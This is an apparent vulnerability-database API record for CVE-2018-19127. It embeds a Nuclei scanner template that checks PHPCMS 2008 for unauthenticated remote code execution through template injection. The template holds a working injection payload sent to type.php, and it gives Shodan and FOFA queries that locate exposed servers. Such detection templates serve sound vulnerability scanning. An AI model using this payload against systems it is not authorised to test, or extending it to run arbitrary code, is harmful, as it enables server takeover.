{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2018-19127/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2018-19127/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2018-19127/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2018-19127/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2018-19127/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2018-19127"},"sightings":{"href":"/api/v1/sightings/cve-2018-19127"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2018/CVE-2018-19127.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2018-19127\n\ninfo:\n  name: PHPCMS 2008 - Remote Code Execution via Template Injection\n  author: tomaquet18\n  severity: critical\n  description: |\n    PHPCMS 2008 suffers from an unauthenticated RCE via template injection in type.php, where attacker-supplied content is written into a PHP template cache file, which is then executable.\n  impact: |\n    Successful exploitation allows an unauthenticated attacker to achieve remote code execution on the server, potentially taking full control.\n  remediation: |\n    The vendor is unresponsive and PHPCMS 2008 is no longer maintained. Users are advised to stop using this software or restrict public access to it.\n  reference:\n    - https://github.com/ab1gale/phpcms-2008-CVE-2018-19127\n    - https://github.com/advisories/GHSA-p498-q357-m3p7\n    - https://nvd.nist.gov/vuln/detail/CVE-2018-19127\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2018-19127\n    epss-score: 0.20766\n    epss-percentile: 0.97548\n    cwe-id: CWE-94\n    cpe: cpe:2.3:a:phpcms:phpcms:2008:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    shodan-query: http.html:\"Powered by phpcms\"\n    fofa-query: body=\"Powered by phpcms\"\n    vendor: phpcms\n    product: phpcms-2008\n  tags: cve,cve2018,phpcms,rce,ssti,vkev,vuln\n\nflow: http(1) || http(2)\n\nvariables:\n  num: \"999999999\"\n  payload: \"tag_(){};echo(md5({{num}}));{//../rss\"\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/type.php?template={{payload}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"value=\\\"picture\", \"phpcms\", \"{{md5(num)}}\")'\n        condition: and\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/data/cache_template/rss.tpl.php\"\n\n    matchers:\n      - type: word\n        words:\n          - \"{{md5(num)}}\"\n# digest: 4a0a00473045022100ca4315c53b61897bed6b4330a1c591bbbe2cc2f5124b06ca24c992be2de3769702202f7ce2de1ae974a04c5c4889d79fde67580a2fcbb81adcd942d7fc40da3ba24d:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2018-19127"}